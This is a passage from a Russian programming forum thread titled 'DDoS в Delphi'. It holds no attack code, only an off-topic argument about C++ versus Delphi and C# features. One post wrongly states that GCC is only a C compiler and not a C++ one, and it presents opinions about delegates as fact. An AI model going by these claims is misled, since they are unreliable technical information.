Нет интерфейсов - да, недостаток, но он обходится за счёт множественного наследования и виртуальных функций.
Множественное наследование - это ваше извращение, его даже в C# убрали (хотя чего уж там говорить, C# больше всего похож на Delphi, а на C++ меньше всего).
quote:

Нет делегирования - а что тогда по-твоему указатели на функции / методы?
Не путай.
quote:

Нет различия абстрактных типов данных и объектов - а кому оно надо?
Это не "кому оно надо", а ООП, и не тебе решать нужно оно или нет )
quote:

И ещё раз - в C++ всегда понятно, как поведёт себя компилятор.
Самому-то не смешно? Как раз поведение C++ компиляторов наиболее непредсказуемо. И далеко не факт что то, что скомпилит VC++, будет прожевано C++Builder'ом или GCC.
Post #: 31
RE: DDoS в Delphi - 2008-03-15 19:21:50.250000   
RasenHerz

Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
по-моему, наследование от класса вполне может заменить интерфейсы(когда я программил для .NET то инетерфейсами не пользовался).
делегаты - глупая пародия на многопоточность(invoke - вызовы). C++ заставляет программиста ЗНАТЬ что и КАК работает - если программист хочет многопоточности - пусть пишет то, что ЕМУ надо, а не извращается с придуманными неизвестно кем и неизвестно с какой целью "примочками" языка.
quote:

Это не "кому оно надо", а ООП, и не тебе решать нужно оно или нет )

С++ в полной мере удоволетворяет критериям ООП.
quote:

Самому-то не смешно? Как раз поведение C++ компиляторов наиболее непредсказуемо. И далеко не факт что то, что скомпилит VC++, будет прожевано C++Builder'ом или GCC.

компилятор то знает, что делает, а вот программист бывает не знает(не задумывается) =) GCC - конечно может не проглотить код написанный на С++, все-таки GCC - компилятор С, а не С++( С++ обратно совместим с С, а не наоборот) =).

З.Ы. может перестанем оффтопить????? =))))
З.З.Ы С++ - the best =)))))
Post #: 32
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> DDoS в Delphi







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.